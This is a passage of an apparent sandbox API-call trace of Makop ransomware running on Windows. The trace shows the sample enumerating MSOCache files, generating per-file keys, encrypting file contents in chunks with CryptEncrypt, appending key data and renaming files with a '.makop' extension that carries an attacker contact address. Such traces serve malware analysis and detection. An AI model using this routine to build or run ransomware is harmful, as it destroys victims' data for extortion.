users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.920] GetProcessHeap () returned 0x48a0000 [0075.920] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.920] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.921] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0075.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.921] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.921] GetProcessHeap () returned 0x48a0000 [0075.921] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0075.921] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0075.921] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.921] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0075.925] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0075.925] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0075.925] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0075.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.926] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0075.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.926] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.926] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x750, lpOverlapped=0x0) returned 1 [0075.926] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x750, dwBufLen=0x750 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x750) returned 1 [0075.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.926] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x750, lpOverlapped=0x0) returned 1 [0075.927] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.927] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.927] SetEndOfFile (hFile=0x124) returned 1 [0075.933] GetProcessHeap () returned 0x48a0000 [0075.933] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0075.933] GetProcessHeap () returned 0x48a0000 [0075.933] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.933] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0075.933] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.934] CloseHandle (hObject=0x124) returned 1 [0075.935] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0075.935] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0075.935] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0075.935] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned 62 [0075.935] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0075.935] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0075.940] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.940] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0075.940] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0075.940] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.942] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=4095519) returned 1 [0075.942] GetProcessHeap () returned 0x48a0000 [0075.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.942] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.942] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.942] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x1, lpOverlapped=0x0) returned 1 [0075.946] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.947] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.947] GetProcessHeap () returned 0x48a0000 [0075.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.947] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0075.947] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.947] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0075.947] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0075.947] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0075.947] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0075.948] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.948] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0075.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.948] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.948] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.948] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.961] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.964] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.964] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.966] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.967] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.967] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.967] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.979] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.982] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.985] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.985] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.986] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.986] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.994] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.997] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.997] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0076.000] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.000] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0076.000] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0076.000] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.000] SetEndOfFile (hFile=0x124) returned 1 [0076.009] GetProcessHeap () returned 0x48a0000 [0076.009] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0076.009] GetProcessHeap () returned 0x48a0000 [0076.009] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0076.009] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0076.009] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0076.795] CloseHandle (hObject=0x124) returned 1 [0076.795] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0076.795] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.796] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2507776) returned 1 [0076.797] GetProcessHeap () returned 0x48a0000 [0076.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0076.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0076.797] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.797] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0076.797] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0076.797] GetProcessHeap () returned 0x48a0000 [0076.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0076.797] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0076.797] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0076.797] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0076.802] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0076.802] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0076.803] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0076.803] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0076.803] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0076.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0076.803] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0076.803] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0076.803] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0076.817] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0076.820] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.820] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0076.822] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.822] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0076.823] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0076.823] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0076.855] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0076.859] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.859] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0076.863] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.863] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0076.863] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0076.863] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0076.879] 